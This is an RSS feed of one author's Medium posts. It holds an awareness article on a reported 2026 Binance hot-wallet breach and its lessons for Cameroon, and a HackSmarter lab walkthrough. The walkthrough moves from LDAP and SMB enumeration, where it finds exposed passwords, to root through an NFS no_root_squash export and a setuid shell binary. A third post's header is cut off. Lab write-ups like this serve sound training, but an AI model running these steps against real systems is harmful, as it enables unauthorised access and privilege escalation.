<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Exploitforge on Medium]]></title>
        <description><![CDATA[Stories by Exploitforge on Medium]]></description>
        <link>https://medium.com/@tanyibesong.bryanmaurice?source=rss-44016c9a5283------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*JL7UNIkdvf_16aKh</url>
            <title>Stories by Exploitforge on Medium</title>
            <link>https://medium.com/@tanyibesong.bryanmaurice?source=rss-44016c9a5283------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:59:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tanyibesong.bryanmaurice/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Binance Hack: A $6.3 Billion Wake-Up Call for Africa and Cameroon’s Digital Financial Ecosystem]]></title>
            <link>https://medium.com/@tanyibesong.bryanmaurice/the-binance-hack-a-6-3-billion-wake-up-call-for-africa-and-cameroons-digital-financial-ecosystem-df2e4a9d3b34?source=rss-44016c9a5283------2</link>
            <guid isPermaLink="false">https://medium.com/p/df2e4a9d3b34</guid>
            <category><![CDATA[cyber-awareness]]></category>
            <category><![CDATA[self-awareness]]></category>
            <dc:creator><![CDATA[Exploitforge]]></dc:creator>
            <pubDate>Tue, 03 Nov 2026 16:02:06 GMT</pubDate>
            <atom:updated>2026-11-03T16:02:06.024Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Published: 03 November 2026</strong><br><strong>Category: Cybersecurity | Cryptocurrency | Financial Technology</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*2cxCe93oWbA-BktmAXfp5A.png" /></figure><h3>1. Introduction: When One of the World’s Largest Crypto Exchanges Gets Hacked</h3><p>On 29 October 2026, Binance, one of the world’s largest cryptocurrency exchanges, experienced a major cybersecurity breach that resulted in the unauthorized withdrawal of approximately <strong>$6.3 billion worth of digital assets</strong>.</p><p>The incident is particularly significant because Binance is not a small cryptocurrency startup. It is a major player in the global digital asset ecosystem, serving millions of users and managing substantial cryptocurrency holdings.</p><p>The breach raises an important question: if a globally established cryptocurrency exchange with considerable financial and technical resources can suffer an attack of this magnitude, how secure are the digital financial platforms emerging in developing economies?</p><p>For Africa, where cryptocurrency adoption is growing, this incident should be more than international cybersecurity news. It should be a lesson in digital trust, financial security, regulation and institutional preparedness.</p><p>For Cameroon in particular, it provides an opportunity to reconsider how we approach cybersecurity as digital financial services continue to evolve.</p><h3>2. What Happened to Binance?</h3><p>According to Binance’s security updates, the incident occurred around 20:05 UTC on 29 October 2026.</p><p>Attackers compromised Binance’s hot-wallet infrastructure, enabling unauthorized withdrawals of digital assets across multiple blockchain networks.</p><p>A hot wallet is a cryptocurrency wallet connected to the internet. It allows an exchange to process transactions and withdrawals efficiently. However, because it remains connected to online systems, it presents a security risk that must be carefully managed.</p><p>Binance’s initial investigation suggested that a compromised employee laptop might have provided an entry point into its internal infrastructure. Subsequent investigations identified additional potential breach points.</p><p>Importantly, Binance stated that it had not found evidence that wallet private keys were leaked. The full attack sequence was still under investigation at the time of publication.</p><p>The incident illustrates an important cybersecurity principle: compromising the systems responsible for authorizing transactions can be just as damaging as compromising the cryptographic keys themselves.</p><h3>3. The Financial Impact and Binance’s Response</h3><p>The reported financial impact was approximately $6.3 billion, making this one of the largest cryptocurrency thefts ever reported.</p><p>Binance announced several emergency response measures:</p><ul><li><strong>Financial compensation:</strong> The company committed to covering the losses through its Secure Asset Fund for Users (SAFU) and corporate treasury.</li><li><strong>Asset recovery:</strong> Binance worked with blockchain intelligence companies, law enforcement agencies and cryptocurrency issuers to trace and freeze affected assets.</li><li><strong>Temporary suspension:</strong> Withdrawals were temporarily suspended while security reviews and infrastructure remediation were conducted.</li><li><strong>Security improvements:</strong> The company began strengthening controls around affected infrastructure and transaction authorization.</li><li><strong>Transparency:</strong> Binance announced plans to provide an updated Proof of Reserves report and a detailed incident post-mortem.</li></ul><p>In its 30 October update, Binance reported that approximately $3 billion in affected assets had been frozen and that it had set aside more than $6.34 billion to cover the losses.</p><p>These figures represent Binance’s reported response at that point in time; asset recovery and the technical investigation were still ongoing.</p><p>One important distinction must be made: the incident did not demonstrate that Bitcoin, Ethereum or blockchain technology as a whole had been compromised. The reported breach involved the infrastructure of a centralized cryptocurrency exchange.</p><h3>4. What Does This Incident Teach the Cybersecurity Community?</h3><p>The Binance incident provides several important lessons.</p><h3>4.1 The human factor remains a significant security concern</h3><p>The initial investigation identified a potentially compromised employee device as an entry point.</p><p>This highlights the importance of endpoint security, employee awareness, privileged access management and monitoring of internal systems.</p><p>Organizations must recognize that employees’ devices and identities are part of their security perimeter.</p><h3>4.2 Multi-layered security is essential</h3><p>Protecting digital assets requires more than securing passwords or private keys.</p><p>Organizations need multiple independent security controls, including:</p><ul><li>Multi-factor authentication.</li><li>Privileged access management.</li><li>Endpoint detection and response.</li><li>Network segmentation.</li><li>Continuous security monitoring.</li><li>Independent transaction authorization.</li><li>Regular penetration testing and security audits.</li></ul><p>These controls should be designed so that compromising one system does not automatically provide control over critical financial operations.</p><h3>4.3 Incident response is as important as prevention</h3><p>No organization can realistically guarantee that it will never experience a cybersecurity incident.</p><p>However, organizations can prepare to detect, contain, investigate and recover from attacks.</p><p>Binance’s decision to suspend withdrawals, investigate affected infrastructure and coordinate with external security partners demonstrates the importance of incident response and business continuity planning.</p><h3>4.4 Transparency builds digital trust</h3><p>When people entrust their money to a digital platform, they also entrust that platform with their financial security.</p><p>Organizations must communicate incidents honestly, provide verifiable information and demonstrate how they intend to protect affected users.</p><p>Proof of Reserves, however, should not be confused with a comprehensive security audit. It can provide information about assets and liabilities, but it does not independently establish that an exchange’s infrastructure is secure.</p><h3>5. Why Should Africa Pay Attention?</h3><p>Africa is increasingly participating in the global digital asset economy.</p><p>According to Chainalysis’ 2025 Geography of Cryptocurrency Report, Sub-Saharan Africa received more than $205 billion in on-chain cryptocurrency value between July 2024 and June 2025, representing approximately 52% growth compared with the previous year.</p><p>This demonstrates that cryptocurrency is becoming an increasingly relevant part of the region’s financial ecosystem.</p><p>However, increased adoption also introduces additional security challenges.</p><p>These include:</p><ul><li>Cryptocurrency investment scams.</li><li>Phishing and account takeovers.</li><li>Compromised exchange accounts.</li><li>Fraudulent investment platforms.</li><li>Theft of digital assets.</li><li>Money laundering and cross-border financial crime.</li></ul><p>INTERPOL’s 2025 Africa Cyberthreat Assessment also highlighted the growing threat of cybercrime across the continent, particularly online scams, phishing, ransomware and business email compromise.</p><p>The Binance incident should therefore encourage African governments, financial institutions, fintech companies and cybersecurity professionals to treat digital asset security as an important component of financial stability.</p><p>Africa should not wait for a similar incident involving a local financial institution before strengthening its cybersecurity preparedness.</p><h3>6. The Cameroon Perspective: Are We Prepared?</h3><p>Cameroon is part of the Central African Economic and Monetary Community (CEMAC), whose financial ecosystem is supervised through regional institutions, including the Bank of Central African States (BEAC) and the Central African Banking Commission (COBAC).</p><p>The development of cryptocurrency and other digital financial services creates regulatory and cybersecurity questions that require coordinated attention.</p><p>In May 2022, COBAC issued a communiqué concerning the use of crypto-assets within the CEMAC banking sector.</p><p>Furthermore, an IMF report published in 2025 highlighted ongoing efforts among regional institutions, including BEAC, COBAC and COSUMAF, to develop a consistent regulatory framework for crypto-assets.</p><p>This is important because digital financial systems do not operate exclusively within national borders.</p><p>A security incident involving a cryptocurrency platform can affect users in Cameroon even when the platform has no physical headquarters in the country.</p><h3>6.1 The need for stronger cybersecurity awareness</h3><p>Many people are attracted to cryptocurrency because of its accessibility and potential financial opportunities.</p><p>However, the technical risks associated with digital asset ownership and exchange platforms are not always well understood.</p><p>Cameroon needs stronger public education on:</p><ul><li>Phishing and social engineering.</li><li>Cryptocurrency wallet security.</li><li>Account protection and authentication.</li><li>Identifying fraudulent investment schemes.</li><li>Safe handling of digital financial information.</li><li>Reporting suspected cryptocurrency fraud.</li></ul><p>Cybersecurity awareness should not be limited to IT professionals. It should also involve students, entrepreneurs, financial institutions and ordinary digital financial service users.</p><h3>6.2 Financial institutions must strengthen their security architecture</h3><p>Banks, fintech companies, payment service providers and other organizations handling financial information should consider the lessons from the Binance incident.</p><p>Particular attention should be given to:</p><ul><li>Privileged account monitoring.</li><li>Endpoint security.</li><li>Secure API management.</li><li>Network segmentation.</li><li>Database protection.</li><li>Security Operations Centre (SOC) capabilities.</li><li>Regular vulnerability assessments and penetration testing.</li><li>Disaster recovery and incident response exercises.</li></ul><p>For institutions integrating cryptocurrency-related services, transaction authorization and digital asset custody should receive additional security scrutiny.</p><h3>6.3 The role of regulation and regional cooperation</h3><p>Cybercrime and cryptocurrency transactions frequently cross national borders.</p><p>This means Cameroon cannot address every digital asset security challenge independently.</p><p>Cooperation between BEAC, COBAC, national cybersecurity authorities, financial intelligence institutions, law enforcement agencies and international partners will be essential.</p><p>Clear regulatory requirements should address consumer protection, operational security, anti-money laundering controls, incident reporting and accountability.</p><p>At the same time, regulation should provide clarity for legitimate financial innovation.</p><h3>6.4 Building local cybersecurity expertise</h3><p>Another important lesson concerns human capacity.</p><p>Cameroon needs more professionals capable of understanding and investigating modern financial cyberattacks.</p><p>This includes expertise in:</p><ul><li>Blockchain forensics.</li><li>Digital forensics and incident response (DFIR).</li><li>Threat intelligence.</li><li>Cloud security.</li><li>Application security.</li><li>Security monitoring and threat hunting.</li><li>Financial fraud investigation.</li></ul><p>Universities, cybersecurity communities and financial institutions can contribute by supporting practical training, research and collaborative security exercises.</p><h3>7. Recommendations: What Cameroon and Africa Should Do</h3><p>The Binance incident should encourage a shift from reactive cybersecurity to proactive cyber resilience.</p><p>I propose five important areas of action:</p><p><strong>1. Establish stronger digital asset security standards.</strong></p><p>Financial institutions and relevant digital asset service providers should operate under clearly defined security and risk-management requirements.</p><p><strong>2. Invest in cybersecurity operations.</strong></p><p>Organizations should develop effective SOC capabilities, improve threat detection and continuously monitor critical systems.</p><p><strong>3. Promote cybersecurity education.</strong></p><p>Universities, schools, financial institutions and technology communities should educate users about digital financial threats.</p><p><strong>4. Strengthen regional and international collaboration.</strong></p><p>Financial regulators, cybersecurity authorities and law enforcement agencies should improve intelligence sharing and cross-border incident response.</p><p><strong>5. Develop local expertise in blockchain security.</strong></p><p>Cameroon should invest in training professionals who can investigate cryptocurrency fraud, analyze blockchain transactions and support digital financial investigations.</p><h3>8. Conclusion: Digital Financial Innovation Must Be Built on Security</h3><p>The Binance hack is a reminder that technological advancement does not eliminate cybersecurity risk.</p><p>Even major international organizations can experience security failures, and the consequences can extend far beyond the organization itself.</p><p>For Africa, and Cameroon specifically, the lesson is not that cryptocurrency should automatically be rejected. Rather, it is that digital financial innovation must develop alongside effective cybersecurity, responsible regulation, technical expertise and public awareness.</p><p>As Cameroon continues to embrace digital transformation, cybersecurity must become a foundational requirement rather than an afterthought.</p><p><strong>The future of digital finance will not depend solely on how quickly we adopt new technologies, but also on how effectively we secure, regulate and build trust in them.</strong></p><h3>References and further reading</h3><ol><li>Binance (30 October 2026), <em>Security Incident Update #2</em>: <a href="https://www.binance.com/en/support/announcement/detail/d3306d9dca5243548c813b605e1d1751">https://www.binance.com/en/support/announcement/detail/d3306d9dca5243548c813b605e1d1751</a></li><li>Reuters (30 October 2026), <em>Hackers steal $6.3 billion from Binance in record heist</em>: <a href="https://live.euronext.com/en/financial-news/hackers-steal-63-billion-binance-record-heist-blamed-north-korea">https://live.euronext.com/en/financial-news/hackers-steal-63-billion-binance-record-heist-blamed-north-korea</a></li><li>Chainalysis (10 September 2025), <em>Sub-Saharan Africa Emerges as Third-Fastest Growing Crypto Region</em>: <a href="https://www.chainalysis.com/blog/subsaharan-africa-crypto-adoption-2025/">https://www.chainalysis.com/blog/subsaharan-africa-crypto-adoption-2025/</a></li><li>INTERPOL (23 June 2025), <em>New INTERPOL report warns of sharp rise in cybercrime in Africa</em>: <a href="https://www.interpol.int/News-and-Events/News/2025/New-INTERPOL-report-warns-of-sharp-rise-in-cybercrime-in-Africa">https://www.interpol.int/News-and-Events/News/2025/New-INTERPOL-report-warns-of-sharp-rise-in-cybercrime-in-Africa</a></li><li>International Monetary Fund (2025), <em>Central African Economic and Monetary Community: Staff Report</em>: <a href="https://www.elibrary.imf.org/view/journals/002/2025/064/article-A001-en.xml">https://www.elibrary.imf.org/view/journals/002/2025/064/article-A001-en.xml</a></li><li>Cameroon National Agency for Information and Communication Technologies, <em>Law №2010/012 relating to cybersecurity and cybercriminality</em>: <a href="https://www.camgovca.cm/en/regulation-policy/laws-and-regulations.html">https://www.camgovca.cm/en/regulation-policy/laws-and-regulations.html</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df2e4a9d3b34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walnut | Walkthrough | HackSmarter]]></title>
            <link>https://medium.com/@tanyibesong.bryanmaurice/walnut-walkthrough-hacksmarter-e20ee815e9cf?source=rss-44016c9a5283------2</link>
            <guid isPermaLink="false">https://medium.com/p/e20ee815e9cf</guid>
            <category><![CDATA[hack-smarter]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[linux-hacking]]></category>
            <dc:creator><![CDATA[Exploitforge]]></dc:creator>
            <pubDate>Sat, 31 Oct 2026 04:14:58 GMT</pubDate>
            <atom:updated>2026-10-31T04:14:58.499Z</atom:updated>
            <content:encoded><![CDATA[<p>This will be my write up for Walnut from HackSmarter</p><pre>username: larryburns<br>password: IloveMontgommery!<br>Host: walnut.local<br>10.0.24.249 walnut.local</pre><h3>Enumeration</h3><h3>Port scan</h3><pre>PORT      STATE SERVICE     REASON         VERSION<br>22/tcp    open  ssh         syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 a1:50:1d:04:de:66:51:74:29:2d:8e:87:af:5d:7d:17 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDAe2OGwLE70VoJDOkmnOr88x5SbEbR7mN7xhBqklK0Eyhcd9Edl4BwWaZmZ04fp2XG5bcRYfVYvD6LCxNDXSQk=<br>|   256 4a:db:47:8c:fa:61:66:2e:22:e5:df:da:bb:b3:ce:c5 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIrrcUB1RZkqREz6oXnJ6JoTHvvkQfCehxAricf5Lelq<br>111/tcp   open  rpcbind     syn-ack ttl 62 2-4 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2,3,4        111/tcp   rpcbind<br>|   100000  2,3,4        111/udp   rpcbind<br>|   100000  3,4          111/tcp6  rpcbind<br>|   100000  3,4          111/udp6  rpcbind<br>|   100003  3,4         2049/tcp   nfs<br>|   100003  3,4         2049/tcp6  nfs<br>|   100005  1,2,3      50924/udp   mountd<br>|   100005  1,2,3      54621/tcp6  mountd<br>|   100005  1,2,3      54696/udp6  mountd<br>|   100005  1,2,3      56593/tcp   mountd<br>|   100021  1,3,4      35249/tcp   nlockmgr<br>|   100021  1,3,4      39609/tcp6  nlockmgr<br>|   100021  1,3,4      48373/udp6  nlockmgr<br>|   100021  1,3,4      56283/udp   nlockmgr<br>|   100024  1          32915/udp   status<br>|   100024  1          32985/tcp6  status<br>|   100024  1          33555/tcp   status<br>|   100024  1          47281/udp6  status<br>|   100227  3           2049/tcp   nfs_acl<br>|_  100227  3           2049/tcp6  nfs_acl<br>139/tcp   open  netbios-ssn syn-ack ttl 62 Samba smbd 4<br>389/tcp   open  ldap        syn-ack ttl 62 OpenLDAP 2.2.X - 2.3.X<br>445/tcp   open  netbios-ssn syn-ack ttl 62 Samba smbd 4<br>2049/tcp  open  nfs_acl     syn-ack ttl 62 3 (RPC #100227)<br>35249/tcp open  nlockmgr    syn-ack ttl 62 1-4 (RPC #100021)<br>56593/tcp open  mountd      syn-ack ttl 62 1-3 (RPC #100005)</pre><p>Looking at the open ports the rpc and ssh port look interesting.</p><p>Also ldap will dig into later.</p><h4>SSH</h4><pre>ssh larryburns@walnut.local      <br>The authenticity of host &#39;walnut.local (10.0.24.249)&#39; can&#39;t be established.<br>ED25519 key fingerprint is: SHA256:9TOwy8Eh/hVF5PEdV/z7to2IyeMked+UZMJXlA4HGcY<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;walnut.local&#39; (ED25519) to the list of known hosts.<br>larryburns@walnut.local&#39;s password: <br>Permission denied, please try again.<br>larryburns@walnut.local&#39;s password: <br>Permission denied, please try again.<br>larryburns@walnut.local&#39;s password:</pre><p>The given credentials seem not to work at the ssh port level</p><p>Next move after trying to enumerate shares with showmount has nothing I will move to enumerating with netexec.</p><pre>nxc smb walnut.local -u &#39;larryburns&#39; -p &#39;IloveMontgommery!&#39; --shares<br>SMB         10.0.24.249     445    WALNUT           [*] Unix - Samba (name:WALNUT) (domain:local) (signing:False) (SMBv1:None) (Null Auth:True)<br>SMB         10.0.24.249     445    WALNUT           [+] local\larryburns:IloveMontgommery! (Guest)<br>SMB         10.0.24.249     445    WALNUT           [*] Enumerated shares<br>SMB         10.0.24.249     445    WALNUT           Share           Permissions     Remark<br>SMB         10.0.24.249     445    WALNUT           -----           -----------     ------<br>SMB         10.0.24.249     445    WALNUT           print$                          Printer Drivers<br>SMB         10.0.24.249     445    WALNUT           automation                      automation share<br>SMB         10.0.24.249     445    WALNUT           IPC$                            IPC Service (walnut server (Samba, Ubuntu))</pre><p>Shares available but uses has no privilege on them.<br> My next move is to enumerate ldap with netexec and ldapsearch.</p><pre> ldapsearch -x -H ldap://walnut.local -D &quot;uid=larryburns,ou=people,dc=walnut,dc=local&quot; -w &#39;IloveMontgommery!&#39; -b &quot;dc=walnut,dc=local&quot;<br># extended LDIF<br>#<br># LDAPv3<br># base &lt;dc=walnut,dc=local&gt; with scope subtree<br># filter: (objectclass=*)<br># requesting: ALL<br>#<br><br># walnut.local<br>dn: dc=walnut,dc=local<br>objectClass: top<br>objectClass: dcObject<br>objectClass: organization<br>o: Kurumi inc<br>dc: walnut<br><br># automation, People, walnut.local<br>dn: uid=automation,ou=People,dc=walnut,dc=local<br>objectClass: inetOrgPerson<br>objectClass: posixAccount<br>objectClass: shadowAccount<br>uid: automation<br>sn: automation<br>givenName: automation<br>cn: automation<br>displayName: automation<br>uidNumber: 7789<br>gidNumber: 7789<br>gecos: automation<br>loginShell: /bin/bash<br>homeDirectory: /home/automation<br>description: old pw asdh023incasdahff9 please change pw on all servers</pre><p>found user with password in description.</p><pre> nxc smb walnut.local -u &#39;larryburns&#39; -p &#39;IloveMontgommery!&#39; --users-export users.txt<br>SMB         10.0.24.249     445    WALNUT           [*] Unix - Samba (name:WALNUT) (domain:local) (signing:False) (SMBv1:None) (Null Auth:True)<br>SMB         10.0.24.249     445    WALNUT           [+] local\larryburns:IloveMontgommery! (Guest)<br>SMB         10.0.24.249     445    WALNUT           -Username-                    -Last PW Set-       -BadPW- -Description-                                <br>SMB         10.0.24.249     445    WALNUT           automation                    2025-09-19 13:54:28 0        <br>SMB         10.0.24.249     445    WALNUT           [*] Enumerated 1 local users: WALNUT<br>SMB         10.0.24.249     445    WALNUT           [*] Writing 1 local users to users.txt</pre><p>So I have confirmation of the creation of user automation.</p><pre> nxc smb walnut.local -u &#39;automation&#39; -p &#39;asdh023incasdahff9&#39; --shares              <br>SMB         10.0.24.249     445    WALNUT           [*] Unix - Samba (name:WALNUT) (domain:local) (signing:False) (SMBv1:None) (Null Auth:True)<br>SMB         10.0.24.249     445    WALNUT           [+] local\automation:asdh023incasdahff9 <br>SMB         10.0.24.249     445    WALNUT           [*] Enumerated shares<br>SMB         10.0.24.249     445    WALNUT           Share           Permissions     Remark<br>SMB         10.0.24.249     445    WALNUT           -----           -----------     ------<br>SMB         10.0.24.249     445    WALNUT           print$          READ            Printer Drivers<br>SMB         10.0.24.249     445    WALNUT           automation      READ,WRITE      automation share<br>SMB         10.0.24.249     445    WALNUT           IPC$                            IPC Service (walnut server (Samba, Ubuntu))</pre><h4>Confirming Automation user</h4><pre> nxc smb walnut.local -u &#39;automation&#39; -p &#39;asdh023incasdahff9&#39; --shares              <br>SMB         10.0.24.249     445    WALNUT           [*] Unix - Samba (name:WALNUT) (domain:local) (signing:False) (SMBv1:None) (Null Auth:True)<br>SMB         10.0.24.249     445    WALNUT           [+] local\automation:asdh023incasdahff9 <br>SMB         10.0.24.249     445    WALNUT           [*] Enumerated shares<br>SMB         10.0.24.249     445    WALNUT           Share           Permissions     Remark<br>SMB         10.0.24.249     445    WALNUT           -----           -----------     ------<br>SMB         10.0.24.249     445    WALNUT           print$          READ            Printer Drivers<br>SMB         10.0.24.249     445    WALNUT           automation      READ,WRITE      automation share<br>SMB         10.0.24.249     445    WALNUT           IPC$                            IPC Service (walnut server (Samba, Ubuntu))</pre><p>Interesting have RW permissions on automation and R on print$.<br> Next I will use spider_plus module to download what ever is downloadable from the share.</p><pre>nxc smb walnut.local -u &#39;automation&#39; -p &#39;asdh023incasdahff9&#39; -M spider_plus -o DOWNLOAD_FLAG=True<br>cp -r /home/kali/.nxc/modules/nxc_spider_plus/10.0.24.249 .</pre><h4>User flag</h4><pre>(kali㉿kali)-[~/Documents/hacksmarter/walnut]<br>└─$ tree 10.0.24.249 <br>10.0.24.249<br>└── automation<br>    ├── scripts<br>    │   ├── logs<br>    │   │   ├── localjob1-19.09.2025-14h09.06.log<br>    │   │   ├── localjob1-19.09.2025-14h09.21.log<br>    │   │   ├── localjob1-19.09.2025-15h09.19.log<br>    │   │   └── localjob3-19.09.2025-14h09.27.log<br>    │   └── runScript.sh<br>    └── user.txt<br><br>4 directories, 6 files<br>┌──(kali㉿kali)-[~/Documents/hacksmarter/walnut]<br>└─$ cat 10.0.24.249/automation/user.txt <br>c3dcd...................................</pre><p>Inside the automation share found hidden .ssh folder might want to dig more on it</p><pre>ls -la ; pwd<br>total 48<br>drwxrwxr-x 6 kali kali  4096 Oct 30 22:12 .<br>drwxrwxr-x 3 kali kali  4096 Oct 30 22:12 ..<br>-rw-rw-r-- 1 kali kali    10 Oct 30 22:12 .bash_history<br>drwxrwxr-x 2 kali kali  4096 Oct 30 22:12 .cache<br>drwxrwxr-x 2 kali kali  4096 Oct 30 22:12 .hidden<br>-rw-rw-r-- 1 kali kali    20 Oct 30 22:12 .lesshst<br>drwxrwxr-x 3 kali kali  4096 Oct 30 22:12 scripts<br>drwxrwxr-x 2 kali kali  4096 Oct 30 22:12 .ssh<br>-rw-rw-r-- 1 kali kali    33 Oct 30 22:12 user.txt<br>-rw-rw-r-- 1 kali kali 11817 Oct 30 22:12 .viminfo<br>/home/kali/Documents/hacksmarter/walnut/10.0.24.249/automation</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JzGeIYJP7_e6bF7oa88ojQ.png" /><figcaption>identifying owner of key</figcaption></figure><p>The key is for the user automation. But it reminds me of something haven’t test automation creds at ssh will do that before I do anything further.</p><pre> ssh automation@walnut.local      <br>automation@walnut.local: Permission denied (publickey).</pre><p>Now I am sure using the key is my way in.</p><h3>Shell as automation</h3><pre>chmod 600 id_rsa  <br>                                                                                                                                                           <br>┌──(kali㉿kali)-[~/…/walnut/10.0.24.249/automation/.ssh]<br>└─$ ssh automation@walnut.local -i id_rsa <br>Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-138-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/pro<br>Last login: Sun Aug 30 12:58:35 2026 from 10.0.0.247<br>automation@walnut:~$ whoami &amp;&amp; id<br>automation<br>uid=7789(automation) gid=7789(automation) groups=7789(automation)<br>automation@walnut:~$</pre><p>Finding my way to root</p><pre><br>automation@walnut:~$ cat /etc/passwd | grep -i bash<br>root:x:0:0:root:/root:/bin/bash<br>automation:x:7789:7789::/home/automation:/bin/bash<br>localjob1:x:5000:5000:,,,:/home/localjob1:/bin/bash<br>localjob2:x:5001:5001:,,,:/home/localjob2:/bin/bash<br>localjob3:x:5002:5002:,,,:/home/localjob3:/bin/bash<br>localjob4:x:5003:5003:,,,:/home/localjob4:/bin/bash<br>automation@walnut:~$ </pre><p>From this output have some hints at the possible users I can attack.<br> Found what are I think are some passwords.</p><pre>automation@walnut:~/.hidden$ ls -la<br>total 24<br>drwx------ 2 automation automation 4096 Sep 18  2025 .<br>drwxr-x--- 6 automation automation 4096 Oct 31 02:10 ..<br>-rw------- 1 automation automation   21 Sep 18  2025 4f378611beed879f4f62a43ac18452a9<br>-rw------- 1 automation automation   21 Sep 18  2025 af5f60ab1fe78c4a34e37c9cb4cc58b8<br>-rw------- 1 automation automation   21 Sep 18  2025 b410af005ed0c033fd5e89720fdf2d57<br>-rw------- 1 automation automation    0 Sep 18  2025 b4d2ab0ea77f3306355ac7b2bcfcd614<br>-rw------- 1 automation automation   21 Sep 18  2025 b4d2ab0ea77f3306355ac7b2bcfcd614.bak<br>automation@walnut:~/.hidden$ cat b4d2ab0ea77f3306355ac7b2bcfcd614<br>automation@walnut:~/.hidden$ cat b4d2ab0ea77f3306355ac7b2bcfcd614.bak <br>vyZzRcreRGDjbq9t19Tb<br>automation@walnut:~/.hidden$ cat b410af005ed0c033fd5e89720fdf2d57 <br>Q8NPUgCvuBQ636tzFBh3<br>automation@walnut:~/.hidden$ cat 4f378611beed879f4f62a43ac18452a9 <br>brYfZknjTirtrPgM8V65<br>automation@walnut:~/.hidden$ cat af5f60ab1fe78c4a34e37c9cb4cc58b8 <br>cKvFZVPbrxEqCkCLPM70<br>automation@walnut:~/.hidden$</pre><p>While spraying password user localjob3 had interesting permission on his host.</p><pre> localjob3@walnut:/home/automation/.hidden$ sudo -l<br>Matching Defaults entries for localjob3 on walnut:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty<br><br>User localjob3 may run the following commands on walnut:<br>    (ALL) NOPASSWD: /usr/bin/systemctl restart nfs-kernel-server.service<br>localjob3@walnut:/home/automation/.hidden$ </pre><h4>Privesc</h4><p>I will follow this <a href="https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/">https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/</a></p><p>So before anything had to defining an NFS export.</p><pre># /etc/exports: the access control list for filesystems which may be exported<br>#               to NFS clients.  See exports(5).<br>#<br># Example for NFSv2 and NFSv3:<br># /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)<br>#<br># Example for NFSv4:<br># /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)<br># /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)<br>#<br><br>/tmp/pwn *(rw,sync,no_root_squash)</pre><p>Then restart the system</p><pre><br>sudo /usr/bin/systemctl restart nfs-kernel-server.service</pre><p>Now I can mount a share</p><pre><br>showmount -e walnut.local<br>Export list for walnut.local:<br>/tmp/pwn *<br><br>## mounting the share <br> mkdir attack  <br>                                                                                                                                                           <br>┌──(root㉿kali)-[/tmp]<br>└─# sudo mount -t nfs walnut.local:/tmp/pwn /tmp/attack/ <br>                                                                                                                                                           <br>┌──(root㉿kali)-[/tmp]<br>└─# cd attack</pre><p>With this done got to article and had to create a shell.c</p><pre>cat shell.c         <br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>int main()<br>{<br>    setuid(0);<br>    setgid(0);<br>    system(&quot;/bin/bash&quot;);<br>    return 0;<br>}<br><br>gcc shell.c -o shell<br>ls       <br>shell  shell.c<br> chmod +s shell</pre><h3>Back on victim machine</h3><p>I moved to the directory which I mounted the file on to run it</p><pre>localjob3@walnut:/tmp$ cd pwn/<br>localjob3@walnut:/tmp/pwn$ ls -la<br>total 28<br>drwxrwxr-x  2 localjob3 localjob3  4096 Oct 31 03:36 .<br>drwxrwxrwt 12 root      root       4096 Oct 31 03:28 ..<br>-rwsr-sr-x  1 root      root      16056 Oct 31 03:36 shell<br>-rw-r--r--  1 root      root        143 Oct 31 03:36 shell.c<br>localjob3@walnut:/tmp/pwn$ ./shell<br>root@walnut:/tmp/pwn# id <br>uid=0(root) gid=0(root) groups=0(root),100(users),5002(localjob3)<br>root@walnut:/tmp/pwn# cat /root/root.txt<br>f42a447b..........</pre><p>Done.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e20ee815e9cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Aftermath || HackSmarter]]></title>
            <link>https://medium.com/@tanyibesong.bryanmaurice/aftermath-hacksmarter-2a0cdff32204?source=rss-44016c9a5283------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a0cdff32204</guid>
            <category><![CDATA[linux-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Exploitforge]]></dc:creator>
            <pubDate>Sat, 12 Sep 2026 04:24:41 GMT</pubDate>
